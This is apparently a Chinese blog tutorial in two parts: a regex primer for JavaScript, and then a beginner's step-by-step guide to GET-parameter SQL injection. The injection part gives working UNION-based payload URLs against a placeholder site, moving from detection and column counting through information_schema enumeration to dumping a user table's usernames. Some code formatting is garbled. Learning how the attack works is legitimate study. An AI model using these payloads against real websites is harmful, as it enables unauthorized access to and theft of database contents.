举个例子:在平时的计算机操作中,当我们搜索一个文件时,希望找到所有的Word文档,可以在搜索栏的文件名中输入“*.doc”来匹配所有以“.doc”结尾的文件名,“*”被称为通配符,可以任意匹配字符串。正则表达式的作用就类似于这种应用。

格式

在JavaScript和php中,正则表达式是由两条斜杠“/”所包围的(Java则不用,由于正则表达式是数学概念,在不同的语言中核心语法是相似的,只是存在细微差别,这里我主要针对的是js)。

正则表达式语言由两种基本字符类型组成:原义(正常)文本字符和元字符。元字符使正则表达式具有处理能力。所谓元字符就是指那些在正则表达式中具有特殊意义的专用字符,可以用来规定其前导字符(即位于元字符前面的字符)在目标对象中的出现模式,描述文本模式的表达对象。

1
2
3
4
var reg01=/abc/;
var reg02=/a{1,2}b/g;
var reg03=/a{1,2}b/ig;
var reg04=/^[\u0391-\uFFE5]+$/i;

上面实例中,第二个/后面的“ig”等是匹配模式,可选。其含义分为:

  • “i”为“ignore case”,即忽略大小写。
  • “g”为“global search”,即全局搜索。
  • “m”为“multiline search”,即多行搜索。

含义

正则表达式的两个斜杠之间的模式字符串如果为一般的字母或数字,表示直接匹配相应的字符。例如“/abcd/”匹配字符串“abcd123”中“abcd”的部分。花括号“{”等特殊字符在正则表达式中,又有其特殊的含义。下面是正则表达式中各字符的匹配含义。

一、普通字符

普通字符包括没有显式指定为元字符的所有可打印和不可打印字符。这包括所有大写和小写字母、所有数字、所有标点符号和一些其他符号。

二、非打印字符

非打印字符也可以是正则表达式的组成部分。下表列出了表示非打印字符的转义序列:
非打印字符

三、特殊字符

所谓特殊字符,就是一些有特殊含义的字符,如”*.txt”中的*,简单的说就是表示任何字符串的意思。如果要查找文件名中有*的文件,则需要对*进行转义,即在其前加一个\。ls\ *.txt。

许多元字符要求在试图匹配它们时特别对待。若要匹配这些特殊字符,必须首先使字符”转义”,即,将反斜杠字符 () 放在它们前面。下表列出了正则表达式中的特殊字符:
特殊字符
补充
元字符补充

四、限定符

限定符用来指定正则表达式的一个给定组件必须要出现多少次才能满足匹配。有*或+或?或{n}或{n,}或{n,m}共6种。

正则表达式的限定符有:
限定字符

五、定位符

定位符使您能够将正则表达式固定到行首或行尾。它们还使您能够创建这样的正则表达式,这些正则表达式出现在一个单词内、在一个单词的开头或者一个单词的结尾。

定位符用来描述字符串或单词的边界,^和$分别指字符串的开始与结束,\b描述单词的前或后边界,\B表示非单词边界。
定位符
注意:不能将限定符与定位点一起使用。由于在紧靠换行或者字边界的前面或后面不能有一个以上位置,因此不允许诸如 ^* 之类的表达式。

实例

下面我们找几个实际的例子来分析一下,就更加明白了。

  1. 校验中文
    1
    2
    3
    4
    ^[\u4e00-\u9fa5]{0,}$
    ```
    ^开始[]中是要匹配的主要内容,其中的\u4e00是一个汉字的Unicode编码,而\u4e00-\u9fa5就表示所有汉字的Unicode编码,后面的{0,}表示至少匹配0次,最多不限制长度,$结束。
    2. 验证身份证号(18位)
    ^[1-9]\d{5}[1-9]\d{3}((0\d)|(1[0-2]))(([0|1|2]\d)|3[0-1])\d{3}([0-9]|X)$
    1
    2
    3
    ^开始[1-9]匹配1-9数字中的一个,\d{5}表示匹配5个0-9的数字,后面的一样体会,((0\d)|(1[0-2]))这一段是单独括出来表示年份的,|表示的或条件(左右二选一),0\d是0+一个数字,1[0-2]是1+0,1,2,中的一个,后面表示年月的类似,最后面的([0-9]|X)则是给定了身份证最后一位要么是0-9数字,要么是X,$结束正则表达式  
    3. 验证email地址

    ^\w+([-+.]\w+)*@\w+([-.]\w+).\w+([-.]\w+)$
    ^开始\w匹配数字字母下划线或汉字,表示匹配前面的表达式一次或多次,考虑到用户脑回路比较清奇[+-.]表示匹配其中的+-.其中一个,*匹配前面的子表达式一次或多次,后面大致相同理解,其中\\.是转义字符就表示.,$结束
    

这里举的例子不多,可以看看下面参考文献中的二十个常用的正则表达式

贪婪与非贪婪模式

贪婪匹配:正则表达式一般趋向于最大长度匹配,也就是所谓的贪婪匹配。如上面使用模式p匹配字符串str,结果就是匹配到:abcaxc(ab*c)。

非贪婪匹配:就是匹配到结果就好,就少的匹配字符。如上面使用模式p匹配字符串str,结果就是匹配到:abc(ab*c)。

仅从应用角度分析,可以这样认为,非贪婪模式,就是在整个表达式匹配成功的前提下,尽可能少的匹配,也就是所谓的“非贪婪”,通俗点讲,就是找到一个想要的捡起来就行了,至于还有没有没捡的就不管了。
这里要更深入了解具体可看参考文献。

参考文献

正则表达式之基础语法
正则表达式30分钟入门教程(推荐必看)
Python正则表达式指南
知道这20个正则表达式,能让你少写1,000行代码
正则基础(贪婪与非贪婪模式)

SQL注入基本步骤

SQL注入基本步骤

什么是SQL注入

首先我们要知道的是SQL到底是什么。。。
sql语句百度百科

SQL注入介绍

在正式开始之前,我们先讲讲什么是SQL注入。还记得小学语文考试上的填空题吗?

我是,喜欢____

题目的意图明显是通过填空来了解答题者的名字和爱好。

如果填成下面这样呢?

我是调皮的小男孩子,专职撩妹子。,喜欢_____________

这就是一个注入的例子,当出题者以为他已经定下了句子的主体结构,需要填空的内容是不会影响主体结构的,而填空者却通过填写的内容,修改了整句话的结构,这就是注入。

以王宝强马蓉两人为例,对于王宝强来说,请来的经纪人是工作上的一部分,这也是他定下来的人生结构。他却没有想到,经纪人除了完成经纪人所应做的事情,还在背后干起别的事情来。对于王宝强来说,经纪人做的事情,就是一种注入,改变了他定义的结构组织。

那什么是SQL注入就不言而喻了。当黑客通过精心构造的URL参数,或者表单提交的参数,拼接到预先定义好的SQL格式时,意外地改变了程序员预期的SQL结构时,SQL注入就构成了。执行该SQL语句已超出的程序员的意图。

普通SQL注入步骤

1.判断是否可以注入

如果要对一个网站进行SQL注入攻击,首先就需要找到存在SQL注入漏洞的地方,也就是寻找所谓的注入点。可能的SQL注入点一般存在于登录页面、查找页面或添加页面等用户可以查找或修改数据的地方(我单纯的认为SQL注入点就是我们可以注释掉一部分SQL查询语句,并且在浏览器界面修改查询语句,利用数据库报错,来寻找能够利用的信息)
最常用的寻找SQL注入点的方法,是在网站中寻找如下形式的页面链接:

http://www.xxx.com/xxx.asp?id=YY--+

其中“YY”可能是数字,也有可能是字符串,分别被称为整数(数字)类型数据或者字符型数据。在本章中我们主要针对整数型数据进行SQL注入讲解。(我暂时粗浅的认识是字符型注入和数字型注入区别在于id值后面是否用单引号包住,字符型需要,数字型不需要)

  通常可以使用以下两种方法进行检测,判断该页面链接是否存在SQL注入漏洞。

(1)“加引号”法

在浏览器地址栏中的页面链接地址后面增加一个单引号,如下所示:

http://www.xxx.com/xxx.asp?id=YY’--+

由于单引号在SQL语句中起闭合语句的作用,相当于yy后面会出现两个单引号,一个是人为添加的,一个是SQL语句中自带的,所以会导致SQL语句语法错误,网页无法显示,所以存在SQL注入点。

(2)“1=1和1=2”法

在浏览器地址栏中的网页链接地址后面增加分别增加and 1=1 和and 1=2,如下所示:

http://www.xxx.com/xxx.asp?id=YY and 1=1–+
http://www.xxx.com/xxx.asp?id=YY and 1=2–+

其中的–+意思是注释掉后面的SQL语句,防止出现语法错误(由于这次针对整型,所以id值后面没有添加单引号),这两个语句相当于给SQL增加了一个判定条件,and表示并,相信大家高中的时候都学过并集,只有当and左右两边都是正确的,答案才会正确(即页面显示正常),显然id=YY是正确的,那么只需要判定and后面的就可以了,1=1显然正确,所以页面正常,1=2反之,所以也可以说明存在SQL注入点。

2.获得字段数

这里就要讲到sql的order by子句了
微软解释order by子句:为select查询的列排序,如果同时制定了top关键词,order by子句在视图、内联函数、派生表和子查询中无效。
攻击者往往会注入order by子句来判断此表的列数(字段数)
order by子句
通过数据库抛出异常,我们已经可以知道当前的SQL语句有几列存在了。
在这里我们一般在网页链接地址后面增加order by加数字来猜出列数,如下所示:

http://www.xxx.com/xxx.asp?id=YY order by 3 –+

通过不断地一次改变数字,看是否页面显示异常,来获得字段数。

3.获得显示位

这里我们要了解到SQL语句中的联合查询(union select百度百科:联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNION或UNION ALL。)
这里的显示位就是能够在网页上直接可以看见的数据显示处,一般在网页链接后面加union select加你上一步获得的字段数从1开始依次排序,如下所示:

http://www.xxx.com/xxx.asp?id=YY union select 1,2,3

然后我们正常情况下会看见页面上会出现1,2,3三个字段数,说明已经获得显示位了,接下来我们就可以利用SQL注入在在几个显示位上获得我们想要的信息了。

4.获取数据库信息

现在来介绍几个在渗透测试中常用的几个函数和表库名。

数据库名:database()

数据库版本: version()

数据库用户: user()

操作系统: @@version_compile_os

系统用户名: system_user()

当前用户名: current_user

连接数据库的用户名:session_user()

读取数据库路径:@@datadir

MYSQL安装路径:@@basedir

load_file 转成16进制或者10进制 MYSQL读取本地文件函数

into outfile 写入函数

储存所有表名信息的表 : information_schema.tables

表名 : table_name

数据库名: table_schema

列名 : column_name

储存所有列名信息的表 : information_schema.columns
我们用一些我们想要了解的函数和数据库名代替之前的显位数(也就是上面一步的1,2,3),我们想要了解数据库名,版本和用户名,可以构造以下链接:

http://www.xxx.com/xxx.asp?id=YY union select database(),version(),user() –+

接着就可以在显示位上依次看到数据库名,数据库版本,用户名了,记住这些你想获取的信息。

5.获取当前数据库的表名

这里我用到了一个函数GROUP_CONCAT()
GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。这样我们就可以在一个显示位上获得多个表名,而不是用limit子句去一个一个遍历了。

http://www.xxx.com/xxx.asp?id=YY union select group_concat(table_name),2,3 from
information_schema.tables where table_schema=0x73716C696E20

其中的information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。再简单点,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema表里面,我们在后面加上.tables就是存放了数据库中所有表名的元数据。后面的0x73716C696E20其实是当前数据库的hex值,我们可以通过一些网上在线的hex转码找到数据库名对应的hex值。
我们在网页显示位上可以看见我们想要的表名。

6.获取列名

假如我们选择了一个名叫user的表,那么我们就要开始从表中调取列名数据了,和上一步大同小异,我们构造如下URL:

http://www.xxx.com/xxx.asp?id=YY union select group_concat(column_name),2,3 from
information_schema.columns where table_name=0x75736572 –+

这样我们就获得了user表中的列名

7.爆数据

这里假如我们想要获取username列中的数据

http://www.xxx.com/xxx.asp?id=YY union select username,2,3 from user(表名) –+

数据就出来了。
比心

后记

上面的总结只是我比较粗浅的理解,也借鉴了一些网上的教程,如有错误多多包涵。当然这只是最最基本的get注入,还有什么cookie注入、post注入、宽字节注入、盲注、延时注入等,我还没有去深入了解,等我学了再说吧。
无能为力

,